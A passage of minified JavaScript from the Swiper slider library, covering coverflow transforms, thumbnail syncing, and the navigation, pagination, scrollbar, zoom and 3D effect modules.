T=l?0:x*g,E=l?x*g:0;Math.abs(E)<.001&&(E=0),Math.abs(T)<.001&&(T=0),Math.abs(y)<.001&&(y=0),Math.abs(b)<.001&&(b=0),Math.abs(w)<.001&&(w=0);var S="translate3d("+E+"px,"+T+"px,"+y+"px) rotateX("+w+"deg) rotateY("+b+"deg)";if(f.transform(S),f[0].style.zIndex=1-Math.abs(Math.round(g)),n.slideShadows){var C=l?f.find(".swiper-slide-shadow-left"):f.find(".swiper-slide-shadow-top"),M=l?f.find(".swiper-slide-shadow-right"):f.find(".swiper-slide-shadow-bottom");0===C.length&&(C=s('<div class="swiper-slide-shadow-'+(l?"left":"top")+'"></div>'),f.append(C)),0===M.length&&(M=s('<div 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t(n.extend({},e.swiper,{watchSlidesVisibility:!0,watchSlidesProgress:!0,slideToClickedSlide:!1})),this.thumbs.swiperCreated=!0),this.thumbs.swiper.$el.addClass(this.params.thumbs.thumbsContainerClass),this.thumbs.swiper.on("tap",this.thumbs.onThumbClick)},onThumbClick:function(){var e=this.thumbs.swiper;if(e){var t=e.clickedIndex,i=e.clickedSlide;if(!(i&&s(i).hasClass(this.params.thumbs.slideThumbActiveClass)||null==t)){var a;if(a=e.params.loop?parseInt(s(e.clickedSlide).attr("data-swiper-slide-index"),10):t,this.params.loop){var r=this.activeIndex;this.slides.eq(r).hasClass(this.params.slideDuplicateClass)&&(this.loopFix(),this._clientLeft=this.$wrapperEl[0].clientLeft,r=this.activeIndex);var n=this.slides.eq(r).prevAll('[data-swiper-slide-index="'+a+'"]').eq(0).index(),o=this.slides.eq(r).nextAll('[data-swiper-slide-index="'+a+'"]').eq(0).index();a=void 0===n?o:void 0===o?n:o-r<r-n?o:n}this.slideTo(a)}}},update:function(e){var t=this.thumbs.swiper;if(t){var i="auto"===t.params.slidesPerView?t.slidesPerViewDynamic():t.params.slidesPerView,s=this.params.thumbs.autoScrollOffset,a=s&&!t.params.loop;if(this.realIndex!==t.realIndex||a){var r,n,o=t.activeIndex;if(t.params.loop){t.slides.eq(o).hasClass(t.params.slideDuplicateClass)&&(t.loopFix(),t._clientLeft=t.$wrapperEl[0].clientLeft,o=t.activeIndex);var l=t.slides.eq(o).prevAll('[data-swiper-slide-index="'+this.realIndex+'"]').eq(0).index(),d=t.slides.eq(o).nextAll('[data-swiper-slide-index="'+this.realIndex+'"]').eq(0).index();r=void 0===l?d:void 0===d?l:d-o==o-l?o:d-o<o-l?d:l,n=this.activeIndex>this.previousIndex?"next":"prev"}else n=(r=this.realIndex)>this.previousIndex?"next":"prev";a&&(r+="next"===n?s:-1*s),t.visibleSlidesIndexes&&t.visibleSlidesIndexes.indexOf(r)<0&&(t.params.centeredSlides?r=r>o?r-Math.floor(i/2)+1:r+Math.floor(i/2)-1:r>o&&(r=r-i+1),t.slideTo(r,e?0:void 0))}var h=1,p=this.params.thumbs.slideThumbActiveClass;if(this.params.slidesPerView>1&&!this.params.centeredSlides&&(h=this.params.slidesPerView),this.params.thumbs.multipleActiveThumbs||(h=1),h=Math.floor(h),t.slides.removeClass(p),t.params.loop||t.params.virtual&&t.params.virtual.enabled)for(var c=0;c<h;c+=1)t.$wrapperEl.children('[data-swiper-slide-index="'+(this.realIndex+c)+'"]').addClass(p);else for(var u=0;u<h;u+=1)t.slides.eq(this.realIndex+u).addClass(p)}}},we=[R,q,K,U,Z,J,te,{name:"mousewheel",params:{mousewheel:{enabled:!1,releaseOnEdges:!1,invert:!1,forceToAxis:!1,sensitivity:1,eventsTarged:"container"}},create:function(){n.extend(this,{mousewheel:{enabled:!1,enable:ie.enable.bind(this),disable:ie.disable.bind(this),handle:ie.handle.bind(this),handleMouseEnter:ie.handleMouseEnter.bind(this),handleMouseLeave:ie.handleMouseLeave.bind(this),animateSlider:ie.animateSlider.bind(this),releaseScroll:ie.releaseScroll.bind(this),lastScrollTime:n.now(),lastEventBeforeSnap:void 0,recentWheelEvents:[]}})},on:{init:function(){!this.params.mousewheel.enabled&&this.params.cssMode&&this.mousewheel.disable(),this.params.mousewheel.enabled&&this.mousewheel.enable()},destroy:function(){this.params.cssMode&&this.mousewheel.enable(),this.mousewheel.enabled&&this.mousewheel.disable()}}},{name:"navigation",params:{navigation:{nextEl:null,prevEl:null,hideOnClick:!1,disabledClass:"swiper-button-disabled",hiddenClass:"swiper-button-hidden",lockClass:"swiper-button-lock"}},create:function(){n.extend(this,{navigation:{init:se.init.bind(this),update:se.update.bind(this),destroy:se.destroy.bind(this),onNextClick:se.onNextClick.bind(this),onPrevClick:se.onPrevClick.bind(this)}})},on:{init:function(){this.navigation.init(),this.navigation.update()},toEdge:function(){this.navigation.update()},fromEdge:function(){this.navigation.update()},destroy:function(){this.navigation.destroy()},click:function(e){var t,i=this.navigation,a=i.$nextEl,r=i.$prevEl;!this.params.navigation.hideOnClick||s(e.target).is(r)||s(e.target).is(a)||(a?t=a.hasClass(this.params.navigation.hiddenClass):r&&(t=r.hasClass(this.params.navigation.hiddenClass)),!0===t?this.emit("navigationShow",this):this.emit("navigationHide",this),a&&a.toggleClass(this.params.navigation.hiddenClass),r&&r.toggleClass(this.params.navigation.hiddenClass))}}},{name:"pagination",params:{pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,formatFractionCurrent:function(e){return e},formatFractionTotal:function(e){return e},bulletClass:"swiper-pagination-bullet",bulletActiveClass:"swiper-pagination-bullet-active",modifierClass:"swiper-pagination-",currentClass:"swiper-pagination-current",totalClass:"swiper-pagination-total",hiddenClass:"swiper-pagination-hidden",progressbarFillClass:"swiper-pagination-progressbar-fill",progressbarOppositeClass:"swiper-pagination-progressbar-opposite",clickableClass:"swiper-pagination-clickable",lockClass:"swiper-pagination-lock"}},create:function(){n.extend(this,{pagination:{init:ae.init.bind(this),render:ae.render.bind(this),update:ae.update.bind(this),destroy:ae.destroy.bind(this),dynamicBulletIndex:0}})},on:{init:function(){this.pagination.init(),this.pagination.render(),this.pagination.update()},activeIndexChange:function(){(this.params.loop||void 0===this.snapIndex)&&this.pagination.update()},snapIndexChange:function(){this.params.loop||this.pagination.update()},slidesLengthChange:function(){this.params.loop&&(this.pagination.render(),this.pagination.update())},snapGridLengthChange:function(){this.params.loop||(this.pagination.render(),this.pagination.update())},destroy:function(){this.pagination.destroy()},click:function(e){this.params.pagination.el&&this.params.pagination.hideOnClick&&this.pagination.$el.length>0&&!s(e.target).hasClass(this.params.pagination.bulletClass)&&(!0===this.pagination.$el.hasClass(this.params.pagination.hiddenClass)?this.emit("paginationShow",this):this.emit("paginationHide",this),this.pagination.$el.toggleClass(this.params.pagination.hiddenClass))}}},{name:"scrollbar",params:{scrollbar:{el:null,dragSize:"auto",hide:!1,draggable:!1,snapOnRelease:!0,lockClass:"swiper-scrollbar-lock",dragClass:"swiper-scrollbar-drag"}},create:function(){n.extend(this,{scrollbar:{init:re.init.bind(this),destroy:re.destroy.bind(this),updateSize:re.updateSize.bind(this),setTranslate:re.setTranslate.bind(this),setTransition:re.setTransition.bind(this),enableDraggable:re.enableDraggable.bind(this),disableDraggable:re.disableDraggable.bind(this),setDragPosition:re.setDragPosition.bind(this),getPointerPosition:re.getPointerPosition.bind(this),onDragStart:re.onDragStart.bind(this),onDragMove:re.onDragMove.bind(this),onDragEnd:re.onDragEnd.bind(this),isTouched:!1,timeout:null,dragTimeout:null}})},on:{init:function(){this.scrollbar.init(),this.scrollbar.updateSize(),this.scrollbar.setTranslate()},update:function(){this.scrollbar.updateSize()},resize:function(){this.scrollbar.updateSize()},observerUpdate:function(){this.scrollbar.updateSize()},setTranslate:function(){this.scrollbar.setTranslate()},setTransition:function(e){this.scrollbar.setTransition(e)},destroy:function(){this.scrollbar.destroy()}}},{name:"parallax",params:{parallax:{enabled:!1}},create:function(){n.extend(this,{parallax:{setTransform:ne.setTransform.bind(this),setTranslate:ne.setTranslate.bind(this),setTransition:ne.setTransition.bind(this)}})},on:{beforeInit:function(){this.params.parallax.enabled&&(this.params.watchSlidesProgress=!0,this.originalParams.watchSlidesProgress=!0)},init:function(){this.params.parallax.enabled&&this.parallax.setTranslate()},setTranslate:function(){this.params.parallax.enabled&&this.parallax.setTranslate()},setTransition:function(e){this.params.parallax.enabled&&this.parallax.setTransition(e)}}},{name:"zoom",params:{zoom:{enabled:!1,maxRatio:3,minRatio:1,toggle:!0,containerClass:"swiper-zoom-container",zoomedSlideClass:"swiper-slide-zoomed"}},create:function(){var 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e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!0};n.extend(this.params,e),n.extend(this.originalParams,e)}},setTranslate:function(){"fade"===this.params.effect&&this.fadeEffect.setTranslate()},setTransition:function(e){"fade"===this.params.effect&&this.fadeEffect.setTransition(e)}}},{name:"effect-cube",params:{cubeEffect:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94}},create:function(){n.extend(this,{cubeEffect:{setTranslate:fe.setTranslate.bind(this),setTransition:fe.setTransition.bind(this)}})},on:{beforeInit:function(){if("cube"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"cube"),this.classNames.push(this.params.containerModifierClass+"3d");var e={slidesPerView:1,slidesPerColumn:1,slidesPerGroup:1,watchSlidesProgress:!0,resistanceRatio:0,spaceBetween:0,centeredSlides:!1,virtualTranslate:!0};n.extend(this.params,e),n.extend(this.originalParams,e)}},setTranslate:function(){"cube"===this.params.effect&&this.cubeEffect.setTranslate()},setTransition:function(e){"cube"===this.params.effect&&this.cubeEffect.setTransition(e)}}},{name:"effect-flip",params:{flipEffect:{slideShadows:!0,limitRotation:!0}},create:function(){n.extend(this,{flipEffect:{setTranslate:me.setTranslate.bind(this),setTransition:me.setTransition.bind(this)}})},on:{beforeInit:function(){if("flip"===this.params.effect){this.classNames.push(this.params.containerModifierClass+"flip"),this.classNames.push(this.params.containerModifierClass+"3d");var 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